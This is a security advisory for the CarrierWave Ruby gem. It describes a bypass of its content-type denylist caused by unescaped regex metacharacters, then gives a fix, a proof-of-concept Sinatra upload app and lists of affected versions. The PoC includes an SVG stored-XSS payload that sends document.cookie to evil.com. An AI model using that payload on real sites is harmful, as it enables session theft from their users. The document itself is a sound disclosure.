GHSA-7g26-2qgj-chfg

Suggest an improvement
Source
https://github.com/advisories/GHSA-7g26-2qgj-chfg
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-7g26-2qgj-chfg/GHSA-7g26-2qgj-chfg.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-7g26-2qgj-chfg
Aliases
Downstream
Published
2026-05-27T00:03:11Z
Modified
2026-07-08T17:45:15Z
Severity
  • 4.7 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N CVSS Calculator
Summary
CarrierWave has a denylisted_content_type bypass via Unescaped Regex Metacharacters
Details

Summary

CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.

Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.

Details

In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:

def denylisted_content_type?(denylist, content_type)
  Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
  Array(allowlist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.

Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:

rubydef denylisted_content_type?(denylist, content_type)
  Array(denylist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

PoC

 app.rb
require "sinatra"
require "carrierwave"
require "fileutils"

FileUtils.mkdir_p("uploads/files")

CarrierWave.configure do |config|
  config.root      = File.expand_path("uploads")
  config.store_dir = "files"
end

class VaultUploader < CarrierWave::Uploader::Base
  storage :file
  def store_dir = "files"
  def content_type_denylist = %w[image/svg+xml]
end

post "/upload" do
  content_type :json
  san = CarrierWave::SanitizedFile.new(
    tempfile:     params[:file][:tempfile],
    filename:     params[:file][:filename],
    content_type: params[:file][:type]
  )
  uploader = VaultUploader.new
  begin
    uploader.store!(san)
    { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
  rescue CarrierWave::IntegrityError => e
    { result: "blocked", message: e.message }.to_json
  end
end
bundle exec ruby app.rb &

echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg

curl -X POST http://localhost:4567/upload \
  -F "file=@xss.svg;type=image/svg+xml"

Expected response (denylist working):

json{ "result": "blocked", "message": "..." }

Actual response:

json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }

Impact

Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary

Database specific
{
    "cwe_ids": [
        "CWE-116",
        "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T00:03:11Z",
    "nvd_published_at": "2026-06-17T13:20:40Z",
    "severity": "MODERATE"
}
References

Affected packages

RubyGems / carrierwave

Package

Name
carrierwave
Purl
pkg:gem/carrierwave

Affected ranges

Type
ECOSYSTEM
Events
Introduced
3.0.0.beta
Fixed
3.1.3

Affected versions

3.*
3.0.0.beta
3.0.0.rc
3.0.0
3.0.1
3.0.2
3.0.3
3.0.4
3.0.5
3.0.6
3.0.7
3.1.0.beta
3.1.0.rc
3.1.0
3.1.1
3.1.2

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-7g26-2qgj-chfg/GHSA-7g26-2qgj-chfg.json"

RubyGems / carrierwave

Package

Name
carrierwave
Purl
pkg:gem/carrierwave

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
2.2.7

Affected versions

0.*
0.1
0.2.0
0.2.1
0.2.3
0.2.4
0.3.0
0.3.1
0.3.2
0.3.3
0.3.4
0.3.5
0.3.5.1
0.3.5.2
0.4.0
0.4.1
0.4.2
0.4.3
0.4.4
0.4.5
0.4.6
0.4.7
0.4.8
0.4.9
0.4.10
0.5.0.beta2
0.5.0
0.5.1
0.5.2
0.5.3
0.5.4
0.5.5
0.5.6
0.5.7
0.5.8
0.6.0
0.6.1
0.6.2
0.7.0
0.7.1
0.8.0
0.9.0
0.10.0
0.11.0
0.11.1
0.11.2
1.*
1.0.0.beta
1.0.0.rc
1.0.0
1.1.0
1.2.0
1.2.1
1.2.2
1.2.3
1.3.0
1.3.1
1.3.2
1.3.3
1.3.4
2.*
2.0.0.rc
2.0.0
2.0.1
2.0.2
2.1.0
2.1.1
2.2.0
2.2.1
2.2.2
2.2.3
2.2.4
2.2.5
2.2.6

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-7g26-2qgj-chfg/GHSA-7g26-2qgj-chfg.json"